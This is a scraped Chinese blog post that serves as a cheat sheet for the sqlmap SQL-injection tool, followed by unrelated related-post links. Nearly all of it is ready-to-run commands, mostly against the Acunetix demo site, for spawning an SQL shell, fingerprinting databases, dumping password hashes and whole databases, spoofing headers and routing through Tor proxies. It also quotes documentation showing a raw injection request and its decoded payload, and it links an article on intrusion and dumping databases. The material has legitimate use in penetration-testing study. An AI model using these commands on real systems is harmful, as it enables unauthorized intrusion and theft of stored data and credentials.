sqlmap使用笔记:http://wenku.baidu.com/view/8c507ffcaef8941ea76e055e.html 

BT5下使用SQLMAP入侵加脱裤:http://www.myhack58.com/Article/html/3/8/2012/35350_4.htm

sqlmap.exe --help 帮助
sqlmap.exe --update 更新

sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -v 1 --sql-shell //执行SQL语句

sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -v 5 //更详细的信息

从配置文件载入相关选项设置
sqlmap -c sqlmap.conf

使用POST方法提交
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php" --method POST --data "artist=1"

使用COOKIES方式提交,cookie的值用;分割,可以使用TamperData来抓cookies
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php" --cookie "artist=1" -v 1

使用referer欺骗
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --referer "http://www.google.com" -v 3

使用自定义user-agent,或者使用随机使用自带的user-agents.txt
sqlmap.exe
-u "http://testphp.acunetix.com/listproducts.php?artist=1" --user-agent
"Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" -v 3
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -v 1 -a "./txt/user-agents.txt"

使用基本认证
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --auth-type Basic --auth-cred "testuser:testpass" -v 3

使用Digest认证
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --auth-type Digest --auth-cred "testuser:testpass" -v 3

使用代理,配合TOR
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --proxy "http://192.168.1.47:3128"
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --proxy "http://192.168.1.47:8118"

使用多线程猜解
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -v 1 --current-user --threads 3

绕过动态检测,直接指定有注入点的参数,可以使用,分割多个参数,指定user-agent注入
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -v 1 -p "id"
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1&cat=2" -v 1 -p "cat,id"
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php" -v 1 -p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)"

指定数据库,绕过SQLMAP的自动检测
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -v 2 --dbms "MYSQL"

* MySQL
* Oracle
* PostgreSQL
* Microsoft SQL Server

指定操作系统,绕过SQLMAP自动检测
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -v 2 --os "Windows"

* Linux
* Windows

自定义payload
Options: --prefix and --postfix

In
some circumstances the vulnerable parameter is exploitable only if the
user provides a postfix to be appended to the injection payload. Another
scenario where these options come handy presents itself when the user
already knows that query syntax and want to detect and exploit the SQL
injection by directly providing a injection payload prefix and/or
postfix.

Example on a MySQL 5.0.67 target on a page where the SQL
query is: $query = "SELECT * FROM users WHERE id=('" . $_GET['id'] .
"') LIMIT 0, 1";:

sqlmap.exe -u "http://192.168.1.121/sqlmap/mysql/get_str_brackets.php?id=1" -v 3 -p "id" --prefix "'" --postfix "AND 'test'='test"

[...]
[hh:mm:16] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
[hh:mm:16] [INFO] testing custom injection on GET parameter 'id'
[hh:mm:16] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20
%28%27test%27=%27test HTTP/1.1
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
Host: 192.168.1.121:80
Accept-language: en-us,en;q=0.5
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
image/png,*/*;q=0.5
User-agent: sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)
Connection: close
[...]
[hh:mm:17] [INFO] GET parameter 'id' is custom injectable
[...]

As you can see, the injection payload for testing for custom injection is:

id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test

which URL decoded is:

id=1') AND 7433=7433 AND ('test'='test

and makes the query syntatically correct to the page query:

SELECT * FROM users WHERE id=('1') AND 7433=7433 AND ('test'='test') LIMIT 0, 1

In this simple example, sqlmap
could detect the SQL injection and exploit it without need to provide a
custom injection payload, but sometimes in the real world application
it is necessary to provide it.

页面比较
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --string "luther" -v 1
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --regexp "lu[\w][\w]er" -v

排除网站的内容
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --excl-reg "Dynamic content: ([\d]+)"

多语句测试,php内嵌函数mysql_query(),不支持多语句
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --stacked-test -v 1

union注入测试
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --union-test -v 1

unionz注入配合orderby
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --union-test --union-tech orderby -v 1

sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -v 1 --union-use --banner
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -v 5 --union-use --current-user
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -v 1 --union-use --dbs

数据库指纹输出
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -v 1 -f
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -v 1 -f -b

判断当前用户是否是dba
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --is-dba -v 1

列举数据库用户
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --users -v 0

列举数据库用户密码
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --passwords -v 0
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --passwords -U sa -v 0

查看用户权限
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --privileges -v 0
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --privileges -U postgres -v 0

列数据库
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --dbs -v 0

列出指定数据库指定表的列名
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --columns -T users -D test -v 1

导出数据库指定表的指定列的内容
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --dump -T users -D master -C username -v 0

导出指定列的范围从2-4
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --dump -T users -D test --start 2 --stop 4 -v 0

导出所有数据库,所有表的内容
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --dump-all -v 0

只列出用户自己新建的数据库和表的内容
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --dump-all --exclude-sysdbs -v 0

使用自定义sql语句查询
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" --sql-query "SELECT usename FROM user" -v 0
sqlmap.exe
-u "http://testphp.acunetix.com/listproducts.php?artist=1" --sql-query
"SELECT host, password FROM mysql.user LIMIT 1, 3" -v 1

保存和恢复会话
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -b -v 1 -s "sqlmap.log"

保存选项到INC配置文件
sqlmap.exe -u "http://testphp.acunetix.com/listproducts.php?artist=1" -b -v 1 --save

SQLMAP实用实例(转)的更多相关文章

  1. jQuery UI 入门之实用实例分享

    jQuery UI 入门 jQuery UI 简介 jQuery UI 是一个建立在 jQuery JavaScript 库上的小部件和交互库,您可以使用它创建高度交互的 Web 应用程序.无论您是创 ...

  2. jQuery UI 入门之实用实例

    jQuery UI 入门 jQuery UI 简介 jQuery UI 是一个建立在 jQuery JavaScript 库上的小部件和交互库,您可以使用它创建高度交互的 Web 应用程序.无论您是创 ...

  3. Python操作MySQL数据库9个实用实例

    用python连接mysql的时候,需要用的安装版本,源码版本容易有错误提示.下边是打包了32与64版本. MySQL-python-1.2.3.win32-py2.7.exe MySQL-pytho ...

  4. 关于JS递归函数细化认识及实用实例

    程序调用自身的编程技巧称为递归( recursion). 一个过程或函数在其定义或说明中又直接或间接调用自身的一种方法,它通常把一个大型复杂的问题层层转化为一个与原问题相似的规模较小的问题来求解,递归 ...

  5. jackson的简单实用实例(json)

    一个json格式的字符串比如: {"status":10001,"code":"HDkGzI","pubkey":&qu ...

  6. Ajax的简单实用实例

    我将实现一个简单的Ajax页面无刷新进行用户验证案例: 效果如下图:

  7. python--Numpy简单实用实例

    # _*_ coding:utf-8 _*_ import numpy as np #创建数组 a=np.array([[1.,7.,0.],[-2.,1.,2.]]) print a #ndarra ...

  8. Linxu下 expect的实用实例_1

    案例 例1:从本机自动登录到远程机器192.168.1.200(端口是22,密码是:PASSWORD)登录到远程机器后做以下几个操作:1)useradd wangshibo2)mkdir /opt/t ...

  9. CSS 实用实例

    背景颜色 1. 颜色背景 <style type="text/css">body { font-size: 16px;">h1 { font-size: ...

随机推荐

  1. 三个入侵的必备小工具-lcx.exe、nc.exe、sc.exe

      lcx.exe的使用方法 以前抓肉鸡都是通过1433弱口令,然后.. 但是发现很多服务器开了1433,3389,但是终端是连不上的,因为服务器本身是在内网,只对外开放了1433端口,幸好有lcx. ...

  2. 通过ngx-lua来统计Nginx上的虚拟主机性能数据

    Web server调研分析 Filed under: Web Server — cmpan @ 2012-10-29 20:38:34 摘要 简单可依赖的架构首先需要有一个简单可依赖的前端WebSe ...

  3. poj3308Paratroopers(dinic)

    http://poj.org/problem?id=3308 给两个定义 最小割:对于图中的两个点(一般为源点和汇点)来说,如果把图中的一些边去掉,如果它们之间无法连通的话,则这些边组成的集合就叫为割 ...

  4. 第二部分 overlay 架构初探

    1 overlay可能支持的颜色格式/* possible overlay formats可能支持的颜色格式 */enum {    OVERLAY_FORMAT_RGBA_8888    = HAL ...

  5. mssql查找备注(text,ntext)类型字段为空的方法

    在sql语句中,如果查找某个文本字段值为空的,可以用select * from 表 where 字段='' ,但是如果这个字段数据类型是text或者ntext,那上面的sql语句就要出错了. 解决办法 ...

  6. Sencha touch Panel之间的跳转(如不使用TabPanel或者Carousel控件而产生跳转的动画效果)

    常规的Sencha touch 应用都是"header content footer"结构,这样的结构无疑将使用TabPanel来实现,而且TabPanel肯定是card布局,这样 ...

  7. 【spring-boot】快速构建spring-boot微框架

    spring-boot是一个快速构建环境的一套框架,其设计理念是尽可能的减少xml的配置,用来简化新Spring应用的初始搭建以及开发过程.该框架使用了特定的方式来进行配置,从而使开发人员不再需要定义 ...

  8. 使用Amoeba 实现MySQL DB 读写分离

    Amoeba(变形虫)项目是一个开源框架,于2008年开始发布一款 Amoeba for Mysql软件: 这个软件致力于MySQL的分布式数据库前端代理层,它主要在应用层访问MySQL的时候充当SQ ...

  9. apache开源项目--Derby

    Apache Derby是Apache软件基金会所研发的开放源码数据库管理系统:由于Derby是一个纯Java程式,因此只需要操作系统支援Java虚拟机,Derby便可执行. Derby是特别地为Ja ...

  10. 理解$watch ,$apply 和 $digest --- 理解数据绑定过程

    原文地址:http://angular-tips.com/blog/2013/08/watch-how-the-apply-runs-a-digest/ 注 这篇博文主要是写给新手的,是给那些刚刚开始 ...